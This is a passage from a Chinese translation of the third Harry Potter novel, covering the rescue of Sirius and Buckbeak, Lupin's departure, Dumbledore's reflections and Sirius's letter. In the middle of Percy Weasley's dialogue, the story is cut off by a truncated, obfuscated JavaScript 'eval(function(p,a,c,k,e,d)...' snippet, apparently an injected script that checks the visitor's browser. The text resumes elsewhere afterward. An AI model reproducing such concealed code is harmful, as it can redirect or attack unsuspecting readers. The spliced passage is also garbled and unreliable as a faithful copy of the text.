斯内普拿起卢平用过的那根树枝,戳了戳那节疤,穿上隐形衣,不见了。 “原来是这样的,”赫敏平静地说,“我们都在下面了...现在我们只能等待,等我们再上来...” 她拿起巴克比克的绳子末端,把绳子牢牢系在最近的一棵树上,然后坐到干燥的地上。两臂抱膝。 “哈利,有些事我不懂...摄魂怪为什么没有抓到小天狼星?我记得它们来了。然后我大概是昏过去了...它们有那么多...” 哈利也坐了下来。他告诉她,他看到了什么。告诉她,离他最近的那个摄魂怪即将把嘴放到哈利嘴边的时候,一个大大的银色东西从湖面上疾驰而来。逼迫摄魂怪退却了。 哈利说完的时候,赫敏的嘴张开了一点儿。 “但那是什么呀?” “只有一样东西能让摄魂怪离开,”哈利说,“那就是真正的守护神,强大的守护神。” “那么是谁召唤来的呢?”哈利什么也没说。他在回想他看见的湖对面的那个人。他知道他以为那是谁...但怎么可能呢? “你看见他是什么样子的吗?”赫敏急切地问,“是哪个老师吗?” “不是,”哈利说,“他不是老师。” “但是那一定是位真正有着强大法力的巫师,能够把那么多摄魂怪赶走...要是那个守护神能够发出那么亮的光芒,没有把他自己照亮吗?你看不见...” “是啊,我看见他了,”哈利慢慢地说,“但是——可能是我想象的...我当时脑子不很清楚...那以后我马上就昏过去了...” “你以为那是谁呢?” “我想——”哈利咽了口唾沫,知道这听起来有多么奇怪,“我想那是我爸爸。” 哈利向赫敏看了一眼,看到她的嘴完全张开合不拢了。她盯者他看,神情里既有惊慌也有怜悯。 “哈利,你爸爸已经...唔...死了。”她冷静地说。 “我知道。”哈利迅速地说。 “你以为你看到他的鬼魂了吗?” “我不知道...不...他看上去是实实在在的...” “那么——” “也许我看见幻象了,”哈利说,“但是...从我能够看到的...看起来像他...我有他的照片...” 赫敏仍旧看着他,似乎担心他神志不清楚。 “我知道这听起来像是疯话。”哈利平淡地说。他回过头去看巴克比克,它正把喙伸到地里,显然在找虫子。 但哈利并不真正在看巴克比克。 他在想他的爸爸,想他的三个老朋友...月亮脸、虫尾巴、大脚板和尖头叉子...今晚他们四个人都在场地上吗?虫尾巴今晚重新露面,而大家都以为他早就死了——他的爸爸就没有这种可能吗?他在湖上看到的是幻象吗? 他看见的那个人太远了,看不清楚...但是他曾经有一会儿觉得很肯定,那是在他失去知觉以前,头上的叶子在微风中簌簌抖动,月亮在浮云中时隐时现。赫敏坐在那里,面对着那棵柳树,等待着。 然后,过了一个多小时以后,他们终于... “我们来了!”赫敏低声说。 她和哈利都站了起来。巴克比克抬起了头。他们看见卢平、罗恩和小矮星彼得从柳树下面的洞里笨拙地钻出来。然后赫敏出来了...然后是失去知觉的斯内普,古怪地向上飘浮着,再后面是哈利和布莱克。他们都开始向城堡走去。 哈利的心开始狂跳。他向天空瞥了一眼。现在任何时刻,云儿都会向一边浮去,而月亮就会显露出来... “哈利,”赫敏好像十分明白他在想什么,喃喃地说,“我们只能停在原地不动。我们一定不要让人看见。我们现在什么事也做不了...” “那我们又要让小矮星彼得逃走了...”哈利平静地说。 “我们在黑暗里怎么能找到一只耗子呢?”赫敏厉声说,“我们什么事也做不了!我们回来是为了帮助小天狼星的,我们不应该做任何其它事情!” “好吧!” 月亮从云彩后面出来了。他们看见穿越场地的那些小小的人影停住了。然后他们看见动作... “那是卢平,”赫敏低语道,“他在变...” “赫敏!”哈利忽然说,“我们一定要行动了!” “决不能,我一直在告诉你...” “别打断我!卢平要跑到树林里了,正冲着我们!” 赫敏喘着粗气。 “快!”她呻吟道,急忙跑过去解巴克比克的绳子。 “快!我们到哪里去?我们到哪里去躲着?摄魂怪马上就要来了!” “回到海格那里去!”哈利说,“现在那里空着——来吧!”他们跑着,尽快地跑着,巴克比克在他们后面慢跑,他们能听见狼人在后面嗥叫...小屋近在眼前。哈利滑到门前停住,拧开门,赫敏和巴克比克飞快掠过他身旁。哈利在他们后面扑进去,插上门。猎狗牙牙响亮地吠叫起来。 “嘘。牙牙,是我们!”赫敏说,赶忙过去挠它的耳朵让它安静下来。“真就差一点儿!”她对哈利说。“是...” 哈利在往窗外看——从这里想看外面发生的事困难多了。 巴克比克似乎对于自己又回到海格的小屋十分高兴。它在壁炉前面躺下,满意地折拢双翼,似乎想美美地小睡一会儿。 “我想我们还是再到外面好,你知道,”哈利慢慢地说,“我们看不见外面的事情,时候到了我们也不知道。”赫敏抬眼望着他。她的表情是疑惑的。 “我不会再试图干预了,”哈利迅速地说,“但是如果我们看不见外面的事情,我们怎么能知道应该什么时候去救小天狼星呢?” “唔...好,那么...我和巴克比克等在这里...但是哈利,要小心啊...外面有狼人,还有那些摄魂怪...” 哈利又走到外面去了,他沿着小屋靠边走。他听到了远处的叫喊声。这就是说摄魂怪正在逼近小天狼星...他和赫敏随时都可能向他跑过去... 哈利向湖面看去,心脏在胸膛里跳得和擂鼓一样。那派出守护神的人,不管是谁,现在随时都可能出现。 他站在那里不到一分钟工夫,犹疑不决,就在海格门前。你决不能被人看见。但是他并不想叫人看见。他要观望...他必须知道...哈利跑了起来,脑子里只想着他的爸爸...那人要是他的话...他必须知道,必须看见... 湖越来越近了,但是那里什么人也没有。在对岸,他看到了小小的银色闪光——那是他自己设想的守护神... 在水边就有一丛灌木。 哈利躲在灌木后面,通过树叶之间的空隙拼命张望。对岸的银色闪光突然之间熄灭了,他浑身一阵恐惧战栗...现在随时—— “来吧!”他喃喃地说,四处张望,“你在哪里?爸爸,来吧——” 但是谁也没有来。哈利抬头看湖边那一圈摄魂怪。其中之一正放下它的头巾。拯救者应该这时到场——但是这次没人前来帮忙... 然后他恍然了——他明白了。 他没有看见他爸爸——他看见的是他自己。哈利从树丛后面跳出来,抽出魔杖。 “呼神护卫!”他大叫。从他魔杖末端冒出来的,不是不成形的雾状物,而是一头令人炫目的银色动物。 他眯起眼睛,努力看清楚那是什么——看上去像是马。 它离开他,越过黑色的湖面疾驰而去。他看见它低下头对准那一大群摄魂怪冲过去...现在它围绕着地面上黑色的形体一圈圈地跑着,摄魂怪后退、溃散、隐入黑暗之中...它们走了。 那守护神转过身。它越过平静的水面向着哈利慢跑回来。它不是马,也不是独角兽,它是一头牡鹿。 它全身发亮,像天上的月亮一样..它在向他跑来...它在岸边停住了。 它的蹄子在软泥地上没有留下痕迹,它那双银色的大眼睛看着哈利。慢慢地,它低下了带鹿角的头。于是哈利明白了...但是当他向它伸出颤抖的手指的时侯,它不见了。 哈利站在原地,手仍然向前伸着。然后,心猛然一跳,他听见后面的蹄声...他转过身去,看见赫敏牵着巴克比克向他冲来。 “你做了什么啦?”她大怒着说,“你说你只是到外面看看!” “我刚刚救了我们大家的命...”哈利说,“到后面来,到这树丛后面,我来解释。” 赫敏听了刚才发生的事,嘴又合不拢了。 “有人看见你了吗?” “有啊,你不是一直在听着吗?我看见了我,但我以为是我爸爸!没事!” “哈利,我不能相信——你召唤了能够赶走所有那些摄魂怪的守护神!这是非常非常高级的魔法...” “我知道这次我能做到了,”哈利说,“因为我已经做过了...这样说有道理吗?” “我不知道——哈利,看斯内普!” 他们一起从灌木丛往对岸窥探。斯内普已经恢复了知觉。他在召唤担架,把哈利、赫敏和布莱克等没有生气的躯体放到担架上去。第四个担架上肯定是罗恩,它已经在斯内普身旁浮动着了。 然后,他把魔杖举在面前,把这一批人搬到城堡中去了。 “对,时间差不多了。”赫敏看着表紧张地说,“在邓布利多锁上校医院病房门以前,我们还有四十五分钟。我们一定要在任何人发现我们失踪以前,救出小天狼星并且回到病房...” 他们等待着,看着湖中映出的浮云,此时他们旁边的灌木丛在微风中低语。 巴克比克感到厌烦,又在找虫子了。 “你估计他已经到了那里吗?”哈利说,看着他的表。然后他抬起头看着城堡,开始数西塔右边的窗子。 “ 看!”赫敏低声说, “那是谁?有人又从城堡里出来了!” 哈利透过黑暗看着。那人匆匆穿过场地,走向一个入口。他的腰带上有什么东西在闪闪发亮。 “麦克尼尔!”哈利说。“那行刑手!他去找那些摄魂怪了!是这样的,赫敏...” 赫敏把双手放在巴克比克背上,哈利帮她把一条腿放了上去。然后他把一只脚踏在灌木丛比较低的枝条上,爬上去,坐在她前面。他把巴克比克的绳子拉回来放在自己的脖子上,再系在自己领子另一边,就像缰绳一样。 “好了吗?”他低声问赫敏。“你最好抓住我。” 他用脚跟夹了夹巴克比克的两胁。 巴克比克向夜空高飞。哈利用两膝夹住巴克比克,感觉到那一双大翅膀在下面有力地扇动。 赫敏紧紧搂着哈利的腰,他听到她喃喃自语:“哦。不——我不喜欢这样...哦,我真不喜欢这样...” 哈利催促巴克比克向前快飞。他们正悄悄地滑向城堡上层...哈利使劲拉左手那边的绳子,巴克比克转弯了。哈利努力去数在身边飞快掠过的窗子... “吁!”他说,尽量往后拉。巴克比克放慢了速度,他们发现自己停下来了,不过他们还是在空中或升或降,因为不这样巴克比克就没法停在空中。 “他在那里!”哈利说,他们升到那扇窗旁时发现了布莱克。他伸手去够,巴克比克的双翼下垂时,他能够用力敲玻璃。布莱克抬眼望见了他们。哈利看见他的下巴受伤了。他从椅子上跳起来,赶到窗子前,想打开窗子,但窗子是锁着的。 “后退!”赫敏对哈利叫道,她抽出魔杖,一面仍旧用左手揪住哈利袍子后背的布料。“阿拉霍洞开!” 窗子突然打开了。 “怎么...怎么...”布莱克虚弱地说,瞪眼看着那头鹰头马身有翼兽。 “上来——没有多少时间了,”哈利说,用力抓住巴克比克细长脖子的两边让它稳定,“你一定要从这里出去——摄魂怪就要来了。麦克尼尔已经去叫它们了。” 布莱克两手扶着窗框,把脑袋和肩膀探了出来。 幸而他是那么瘦。几秒之内,他已经设法把一条腿跨到了巴克比克的背上,并且爬到了鹰头马身有翼兽背上,坐在赫敏背后。 “好啦,巴克比克,向上飞!”哈利摇动着绳子说,“飞到塔楼。来吧!” 这头鹰头马身有翼兽双翼一振,他们就又向上飞去,飞得和西塔楼顶一样高。巴克比克哒的一声降落在雉堞墙上,哈利和赫敏立刻从它背上滑下来。 “布莱克,你最好快走,”哈利喘着气说,“他们随时都会到弗立维的办公室去的,他们会发现你跑了。” 巴克比克脚爪抓地,扬起它那尖尖的脑袋。 “ 另外一个男孩怎么样了?罗恩?”布莱克急切地问。 “他会没事的——他还不很好,但是庞弗雷夫人说她能够让他好一点儿的。快——走吧!” 但是布莱克还在注视着哈利。 “我怎么感谢你们——” “走吧!”哈利和赫敏一起叫道。 布莱克让巴克比克调转头,面向天空。 “我们会再见的,”他说,“你是——你真是你爸爸的好儿子,哈利。” 他用脚跟夹了夹巴克比克的两胁。巨大的双翼再次展开,哈利和赫敏连忙向后跳去...那鹰头马身有翼兽飞上了天空... 哈利目送着他们,但见它和骑它的人越来越小... 然后一朵浮云掩住了月亮... 他们走了。 60.又见猫头鹰邮递 “哈利!”赫敏在拉他的袖子,一边瞪眼看着她的表。“我们正好还剩十分钟,我们要回到病房去,要不让任何人看见我们——在邓布利多把我们锁起来以前...” “没问题,”哈利说,把目光从天空中收回来,“我们走吧...” 他们溜过身后的门廊,走下一道很陡的石头螺旋形楼梯。他们走到楼梯底部时,听到了说话的声音。他们紧贴墙壁站着偷听。听起来像是福吉和斯内普。他们沿着这道楼梯底部的走廊迅速走来。 “...只希望那些摄魂怪不要惹麻烦,”斯内普正说着,“马上就会给他那个吻吧?” “麦克尼尔一带着那些家伙回来就可以了。这整个布莱克事件真叫人尴尬。我没法告诉你我是多么盼望能告诉《预言家日报》说我们终于抓到他了...我敢说他们会来采访你的,斯内普...还有,一旦小哈利脑子恢复正常,我认为他会告诉《预言家日报》你是如何救了他的...” 哈利咬牙切齿。斯内普和福吉走过哈利和赫敏躲藏的地方,哈利还看见了斯内普脸上的假笑。他们的脚步声消失了。 哈利和赫敏又等了一会儿,确认他们真的走了,这才开始向相反的方向跑去,下一道楼梯,再下一道,沿着一条没有走过的走廊...然后他们听到前方传来咯咯的声音。 “皮皮鬼!”哈利喃喃地说,抓住赫敏的手腕,“就在这儿!” 他们及时跑到左边一间空闲无人的教室里。皮皮鬼似乎情绪高涨,正沿着走廊蹦蹦跳跳,乐得不可开交。 “哦,他真可怕,”赫敏耳语道,耳朵贴在门上,“我敢打赌,他这么高兴是因为摄魂怪们要来结果小天狼星了...” 她看了看表。“三分钟,哈利!” 他们等着,直到皮皮鬼幸灾乐祸的声音在远处消失了,他们才又溜出教室,拔脚飞奔。 “赫敏——要是我们——在邓布利多锁门——以前——没有回去——会发生什么事?”哈利喘着气问道。 “我不愿意想这事!”赫敏呻吟道,又去看表,“一分钟!” 他们已经跑到走廊尽头校医院的入口处了。 “好吧——我听见邓布利多说话了。”赫敏紧张地说,“加油。哈利!” 他们弯下身子沿着走廊前进。门开了。邓布利多的后背出现了。 “我把你们锁在这里,”他们听见他说,“现在是差五分到午夜十二点。格兰杰小姐,转三次就行了。祝你们好运。” 邓布利多退出房间,关上门,抽出魔杖用魔法锁门。哈利和赫敏惊慌失措地向前跑去。邓布利多抬眼一看,长长的唇髭下面露出了笑容。 “唔?”他平静地说。 “我们做到了!”哈利气都透不过来地说,“小天狼星走了,骑着巴克比克...” 邓布利多满脸笑容地望着他们。 “干得好,我想——”他紧张地侧耳倾听着校医院里是否有什么声音。“好,我想你们也走了。进去吧——我要把你们锁起来。” 哈利和赫敏溜回病房。那里是空的,只有罗恩在,罗恩仍旧没有知觉地躺在床上。门锁在他们后面轻轻一响,哈利和赫敏各自爬回自己的床上,赫敏把计时器塞回到袍子下面。庞弗雷夫人马上就从她的办公室里回来了。 “我听到校长走了,是不是?我可以照顾我的病人了吗?” 她情绪很坏。哈利和赫敏认为他们最好安静地接受她给的巧克力。庞弗雷夫人站到他们床前,看着他们把巧克力吃下。但是哈利觉得难以下咽。他和赫敏在等待、聆听,心里无比烦躁...等他们两人都从庞弗雷夫人手里接过第四块巧克力的时候,他们听见上面什么地方响起了愤怒的吼声... “怎么回事?”庞弗雷夫人惊慌地问道。现在他们能听到恼怒的说话声了,越来越响。庞弗雷夫人瞪眼看着门。“真的是——他们会吵醒所有人的!他们以为自己在干什么啊?” 哈利想听清这些声音在说什么。他们走近了些... “他一定是变形走了,西弗勒斯,我们应该在房间里留人看着他!这种逃走...” “他没有变形!”斯内普吼道,声音很近了,“在城堡里面,谁也不能变形或者复原的!这件事——和——波特——有——关系!” “西弗勒斯——讲点理——哈利被锁起来了——” 砰的一声。 校医院的门被撞开了。 福吉、斯内普和邓布利多大步走进病房。只有邓布利多显得很平静。的确,他似乎相当轻松高兴。福吉恼怒。斯内普气得不成样子。 “说出来,波特!”他咆哮道,“你干了什么好事?” “斯内普教授!”庞弗雷夫人尖叫道,“管管你自己。” “看到这里了吧,斯内普,理智些,”福吉说,“门是锁着的,我们刚才看见...” “他们帮他逃走了,我知道的!”斯内普吼道,指着哈利和赫敏。他的脸扭曲了,嘴里唾沫横飞。 “镇静,朋友!”福吉大声喊道,“你在胡说八道!” “你不了解波特!”斯内普尖叫道,“是他干的,我知道是他干的!” “行了,西弗勒斯,”邓布利多平静地说,“想想你在说些什么吧。十分钟以前我离开病房的时候,门就锁着了。庞弗雷夫人,这些学生离开过床吗?” “当然没有!”庞弗雷夫人恼怒地说,“你们离开以后,我一直守着他们!” “好吧,你听到了,西弗勒斯,”邓布利多镇静地说,“除非你的意思是说,哈利和赫敏能够同时在两个地方出现,否则我认为再找他们麻烦没有什么意思...” 斯内普情绪激动地站在那里,从福吉瞪到邓布利多,福吉对斯内普的言行惊诧不已,邓布利多的眼睛在镜片后面眨动。 斯内普飞快转过身去,袍子因摆动而在他身后簌簌作响,他乒乒乓乓地走出了病房。 “这人好像脑子不大清楚了。”福吉说,瞪眼看着他离去,“我会留心他的,如果我是你的话,邓布利多。” “哦,他不是脑子不清楚,”邓布利多平静地说,“只不过是极度失望罢了。” “他不是唯一一个!”福吉叹了一声说。“《预言家日报》可有尽情嘲笑的机会了!我们把布莱克逼到了绝境,他却又从我们手指缝里溜掉了!现在那张报纸需要做的,就是把那头鹰头马身有翼兽逃逸的事披露出去,我就要成为笑柄了!好吧...我还是离开这里去通知部里吧...” “那些摄魂怪呢?”邓布利多问。“我想它们可以从学校撤走了吧?” “哦,是的,它们必须走了。”福吉说,心不在焉地用手指梳理着头发。“从来没有想到它们竟然会去吻无辜的男孩...完全失控了...好,我今晚就叫它们打点好一切回阿兹卡班去。也许我们应该考虑安排龙来守住学校的入口...” “海格会高兴的。”邓布利多说,对哈和和赫敏迅速地一笑。他和福吉离开病房的时候,庞弗雷夫人赶快到门边又把门锁上。她愤怒地对自己嘟囔着什么,回到自己的办公室去了。 病房那头传来低低的呻吟声,罗恩醒过来了。他们看到他坐了起来,揉着脑袋四面张望。 “怎么——发生什么事情了?”他呻吟道,“哈利?我们为什么在这里?小天狼星哪里去了?卢平呢?事情怎么样了?” 哈利和赫敏面面相觑。 “你来解释。”哈利说,又吃了些巧克力。 哈利、罗恩和赫敏第二天中午离开了病房,发现城堡里几乎没有人了。酷热和学期考试结束,这两件事意味着大家都去充分利用再次拜访霍格莫德的机会了。 然而。罗恩和赫敏都不想去,所以他们和哈利就在场地上闲逛,仍旧谈论着前一天夜里非同寻常的事件,猜想着小天狼星和巴克比克现在可能在哪里。 他们坐在湖边,看着巨大的鱿鱼懒洋洋地在湖面上摇晃着触手,哈利看着对岸,不知道他们说到哪里了。就在昨天晚上,那只牡鹿从那里向他跑来...一条影子落在他们身上,他们抬限望去,看见的是泪眼模糊的海格,他用一块桌布那么大的手帕擦着汗津津的脸。满脸是笑地看着他们。 “知道我不应该高兴,昨晚发生了那样的事。”他说,“我意思是说,布莱克又逃走了。还有那么多事情——不过你们猜猜?” “什么?”他们说,假装好奇的样子。 “比克!它逃脱了!它自由了!我一晚上都在庆贺!” “那太棒了!”赫敏说,责备地看了罗恩一眼,因为他好像马上就要大笑起来了。 “是啊...肯定是没有把它拴好。”海格说,快乐地往场地那边看。“今天早晨我担心...怕它也许在场地上遇到卢平教授,但是卢平说昨晚他什么也没有吃...” “什么?”哈利迅速地问。 “哎呀,你们没有听到吗?”海格说,笑容收敛了一些。他压低了声音,尽管附近并没有人。“哦——今天早上斯内普告诉斯莱特林院所有的学生了...我以为现在大家都知道了...卢平教授是狼人,明白吗?而且他昨晚是在场地上走动的。现在他在收拾行李了,这是自然的。” “他在收拾行李吗?”哈利吃惊地问,“为什么?” “走啊,难道不是吗?”海格说,对哈利这样问感到惊奇。“他今天早起第一件事就是辞职。说他不能够再担风险,怕这样的事第二次发生。” 哈利忙着站起来。 “我去看他。”他对罗恩和赫敏说。 “不过要是他辞职了...” “听起来好像我们帮不上什么忙...” “我不管。我仍旧想看他。回头我到这里来找你们。” 卢平的办公室门开着。他已经把大部分东西打好了包。格林迪洛的空水箱立在他那破旧的箱子旁边,那箱子开着,差不多要装满了。卢平正弯腰看着他书桌上的什么东西,哈利敲门的时候他只抬眼望了一下。 “我看见你来了。”卢平微笑着说,指指那张他一直在看着的羊皮纸。那是活点地图。 “我刚看见海格,”哈利说,“他说您已经辞职了。他说得不对吧?” “恐怕是对的。”卢平说。他开始拉开书桌的抽屉,拿出里面的东西。 “为什么?”哈利问,“魔法部没有认为您帮了小天狼星,是不是?” 卢平走到门边,关上了哈利身后的门。 “没有。邓布利多教授想办法说服福吉,说我是想救你们的命来着。”他叹了口气。“对于西弗勒斯来说,这是最后一根稻草。我想他得不到梅林爵士团勋章了,这对他是一大打击。所以他...哦...今天早餐的时候就偶然地说出我是狼人这件事来了。” “您不能因为这个就离开我们!”哈利说。 卢平苦笑。 “明天这时候,猫头鹰要从家长们那里飞来了——他们不愿意由一头狼人来教他们的孩子,哈利。而且经过昨晚的事情以后,我认为他们是对的。我可能会咬你们之中任何一个人...这种事绝对不能再发生了。” “您是教过我们的最好的黑魔法防御术课教师!”哈利说,“不要走!” 卢平摇摇头,没有说话。他继续收拾抽屉。 然后,当哈利在想理由让他留下时,卢平说:“根据今天早上校长告诉我的内容看,昨晚你救了许多人的命呢,哈利。如果我为什么事情骄傲,那就是你学到了许多东西。告诉我关于你的守护神的事。” “您怎么会知道的?”哈利心烦意乱地问道。 “那还有什么东西能够把摄魂怪赶回去?”哈利告诉卢平发生了什么事。 等他说完了,卢平又微笑起来了。 “对,你爸爸变形的时候总是变成牡鹿的。”他说,“你猜得对...所以我们叫他尖头叉子。” 卢平把最后几本书扔进了箱子,关上书桌的抽屉,转身看着哈利。 “给你——我昨天晚上从尖叫棚屋拿回来的。”他说,把隐形衣还给哈利。“还有...” 他踌躇了一下,然后把那张活点地图也拿了出来。“我不再是你的老师了,所以把这个还给你,我也不觉得有什么不对的。这张地图对我没有用处了,我敢说,你、罗恩和赫敏会给这张地图找到用武之地的。” 哈利接过地图,笑了。 “您告诉过我说,月亮脸、虫尾巴、大脚板和尖头叉子会引诱我离开学校...你说过他们会认为这样做很有趣。” “我们本来是会这样做的,”卢平边说,边伸手去关上箱子,“我毫不犹豫地说,如果詹姆的儿子从来没有发现城堡外面的任何秘密通道,詹姆会大失所望的。” 有人敲门,哈利连忙把活点地图和隐形衣塞到衣袋里去。 是邓布利多教授。他看见哈利在这里并不惊奇。 “你的车子在大门口呢,卢平。”他说。 “谢谢你,校长。” 卢平拎起他的旧箱子和那个空水箱。 “好啦——再见。哈利,”他微笑着说,“教你真是一件愉快的事。我觉得我们一定还会见面的。校长,不用送我到大门口了,我自己能行...” 哈利觉得卢平希望尽快离开。 “那么,再见了,卢平。”邓布利多有节制地说。卢平把那空水箱稍微侧了一下,以便和邓布利多握手。 然后,卢平对哈利最后点了点头,很快地一笑。就离开了办公室。 哈利坐在他的空椅子上,忧郁地看着地板。他听见门关上了,便抬起眼来,邓布利多还在那里。 “干吗那么不高兴呀,哈利?”他平静地说,“昨晚以后,你应该为自己感到非常自豪。” “没有什么两样,”哈利痛苦地说,“小矮星彼得逃走了。” “没有什么两样吗?”邓布利多平静地说,“这可是大大的不一样啊,哈利。你协助发现了真相。你救了一个无辜的人,使他免于可怕的命运。” 可怕。哈利脑子里好像想起了什么东西。比以前更大更可怕...特里劳妮教授的预言! “邓布利多教授,昨天,我在考占卜的时候,特里劳妮教授变得很...很古怪。” “是吗?”邓布利多教授说,“哦...比平时古怪,你的意思是说?” “是啊...她声音变得深沉起来,眼睛不停地转动,她说...她说伏地魔的仆人要在午夜以前重新回到他身边...她说那仆人会帮助他主子重新获得权力。”哈利瞪眼看着邓布利多。“然后她好像又回到正常状态,她不记得刚才说过的任何东西。她是不是...是不是在作真正的预言呢?” 邓布利多似乎稍稍有点儿惊讶。 “你知道,哈利,我认为也许是,”他深思着说,“谁会想到这件事呢?这把她真正预言的能力提高到二级水平了。我应该给她加工资...” “但是,我阻止了小天狼星和卢平教授,不让他们杀了小矮星彼得!如果伏地魔重新获得权力,那岂不是我的过失吗?” “不是的,”邓布利多平静地说,“用计时器的时候,你的经历没有教会你什么东西吗,哈利?我们行动的后果经常是如此复杂、如此分散,因此,预言未来的确是很困难的事...特里劳妮教授,上帝保佑她,就是活生生的例子。你救了小矮星彼得的命,你这是做了件很高尚的事。” “不过要是他帮助伏地魔重新得到权力...” “小矮星彼得的命是你救的。你给伏地魔送去一个欠你恩情的助手。一个巫师救了另外一个巫师的命,他们之间就有了某种联系...如果伏地魔愿意让他的仆人欠哈利·波特的情,那我一定是大错而特错了。” “我不要和小矮星彼得之间有什么联系!”哈利说,“他背叛了我的父母!” “这是魔法的最高、最无法参透的境界,哈利。但是相信我...有朝一日你会因为救过小矮星彼得的命而非常高兴的。” 哈利无法想象会有那一天。 邓布利多似乎看出了哈利在想什么。 “我很了解你爸爸,在霍格沃茨的时候以及他毕业以后都很了解,哈利,”他温和地说,“我敢肯定,他也会救小矮星彼得的命的。” 哈利抬眼看着他。邓布利多不会笑他...他可以告诉邓布利多... “昨天晚上...我觉得给我召唤守护神的是我爸爸。我的意思是说,我看见我自己在湖对面的时候...我以为我看见他了。” “很容易犯的错误,”邓布利多温和地说,“我想你已经听厌了,不过你真是特别像詹姆。除了眼睛之外...你眼睛很像你妈妈。” 哈利摇头。 “认为是他,这是愚蠢的,”他喃喃地说,“我的意思是说,我知道他已经死了。” “你以为我们爱过的死者会真正离开我们吗?你以为在没有大麻烦的时候,我们就不会比以前更加清楚地回忆起他们来吗?你爸爸活在你身上,哈利,在你需要他的时候,他在你身上表现得最清楚。不然你怎么能够产生那么特殊的守护神呢?尖头叉子昨晚凭借你而出现了。” 哈利过了一会儿才明白了邓布利多这番话的意思。 “昨晚小天狼星把他们如何成为阿尼马格斯的事都告诉我了。”邓布利多微笑着说,“一项特殊的成就——不让我知道,做到这一点就不容易。那时我记起你的守护神呈现出来的最不平凡的形状,那是在你们和拉文克劳队进行魁地奇比赛中,你的守护神对着马尔福冲过去的时候。所以说,你昨晚的确看见你爸爸了,哈利...你在你身体里面发现了他。” 邓布利多离开了,留下哈利一个人在办公室里面对自己混乱的思绪。除了哈利、罗恩和赫敏还有邓布利多教授之外,霍格沃茨的人都不知道那天晚上小天狼星、巴克比克和小矮星彼得都不见了。 学期快要结束了,哈利听到了许多有关事情发生的说法,但是没有一种是接近真相的。 马尔福对巴克比克的事情暴跳如雷。他深信海格找到了什么方法,把巴克比克偷偷运到了安全的地方。一个狩猎场看守竟然智胜他们父子。马尔福对这一点怒不可遏。与此同时,珀西·韦斯莱在小天狼星逃脱事件上有许多话可说。 “要是我能够进魔法部,我就要在魔法界法律的执行方面提许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,格兰芬多院在很大程度上由于在魁地奇比赛中的突出表现,从而连续三年得到了院冠军。这意味着期末的宴会用猩红色和金色来装饰,也意味着格兰芬多的桌子格外热闹,因为每个人都在庆祝。 就连哈利也在吃喝谈话,和大家一起开怀大笑的时候,也忘记了第二天他还要回到德思礼家去。 霍格沃茨特快列车第二天离开车站的时候,赫敏向哈利和罗恩提供了若干惊人的消息。 “今天早上我去看麦格教授了,就在早饭以前。我已经决定不上麻瓜研究这门课了。” “可是你的考试成绩是百分之三百二十呀!”罗恩说。 “我知道,”赫敏叹着气说,“但是明年再像今年这样我可受不了了。那个计时器简直要让我发疯了。我已经把它上交了——不上麻瓜研究和占卜这两门课之后,我就又能有一张正常的时间表了。” “你竟然不告诉我们有关计时器的事,我仍旧不能相信。”罗恩埋怨道,“我们难道不是你的朋友吗?” “我答应过不告诉任何人。”赫敏一本正经地说。她回过头来看着哈利,哈利正注视着霍格沃茨城堡被一座山遮得看不见了,再看见霍格沃茨要等整整两个月啊。 “哦,高兴起来,哈利!”赫敏悲伤地说。 “我没事,”哈利飞快地说,“只是想到假期的事而已。” “对,我也一直在想呢,”罗恩说,“哈利,你一定要来和我们住在一起。我会和爸妈说好的,然后我打掉话给你。现在我知道怎样打掉话了...” “是电话,罗恩,”赫敏说,“说真的,你明年应该选麻瓜研究...” 罗恩不理她。“今年夏天有魁地奇世界杯!怎么样,哈利?来我家住下,我们一起去看比赛!爸总能从单位里拿到票的。” 这个建议让哈利高兴起来。“对...我打赌德思礼家会乐意让我走的...特别是在我对玛姬姑妈做了那样的事以后...” 哈利高兴起来,便和罗恩、赫敏玩了几场游戏,等到推茶车的女巫来到的时候,他给自己买了大大的一份午饭。尽管里面没有巧克力。但是让他真正高兴起来的事发生在下午晚些时候... “哈利,”赫敏忽然向后看着说,“你窗子外面是什么东西啊?” 哈利转身向外面看。窗玻璃上方有个小小的灰色东西跳跃着忽隐忽现。 他站起来想看得清楚些。 那是只小猫头鹰,带着一封对它来说太大的信。 这只猫头鹰实在太小了,因此它在空中不断地翻跟斗。在火车向后的气流中这边那边地撞着。 哈利迅速拉下窗子,伸出手臂抓住了那猫头鹰,好像是抓住了一个蓬蓬松松的金色飞贼。 这只猫头鹰让信落在哈利的座位上,然后开始在车厢里陡直上升,显然对于完成了任务十分得意。 海德薇庄严地动动嘴,表示不高兴。克鲁克山在座位上坐起来,那双大大的黄眼睛跟着小猫头鹰转。 罗恩注意到了这一点,一把抓住那小猫头鹰,不让它受到伤害。 哈利拿起那封信。是写给他的。他撕开信,大叫起来:“是小天狼星写来的!” “什么?”罗恩和赫敏兴奋地说,“大声读!” 亲爱的哈利: 我希望这封信在你到你姨妈姨父家以前就能收到。我不知道他们对猫头鹰送信是否习惯。我和巴克比克都躲起来了。我不告诉你躲在哪里,以防这封信错递到别人手中。我对于猫头鹰的可靠性有一点儿怀疑,但它是我所能找到的最好的邮差.而且它的确像是急于干这份差事。 我相信那些摄魂怪仍旧在找我。但是它们没有希望再找到我。我打算不久就让某些麻瓜看见我,在远离霍格沃茨的地方,这样,城堡的保安措施就可以撤消了。 在我们短暂的会见中,有一件事我一直没有机会告诉你:那就是送火弩箭给你的是我。 “哈!”赫敏胜利地说,“看!我告诉过你那是他送的!” “对,但是他没有在上面做手脚呀,是不是?”罗恩说,“哎哟!” 那只小猫头鹰现在在他手上快乐地啼叫着,已经在他的一个手指上啄了一口,似乎认为这是一种爱抚的方式。 克鲁克山为我到邮局去订购了这只猫头鹰。我用了你的名字,但是告诉他们到古灵阁第711号我自己的金库去取钱。请把它看做你教父送给你的十三岁生日礼物。 我想我让你受过惊。那是去年你离开你姨父家的那个晚上,我愿意为此道歉。我只是想在去北方以前看你一眼,不过我想当时你看见我吓得不轻。 信中附上一些东西给你,我想这可以让你明年在霍格沃茨过得更加愉快。如果需要我,带信来。你的猫头鹰会找到我的。不久我还会写信给你。 小天狼星 哈利在信封里急切地找着。信封里还有一张羊皮纸。他迅速地看了一遍,突然觉得浑身温暖,心中满足,好像一口气喝下了一整瓶热乎乎的黄油啤酒。 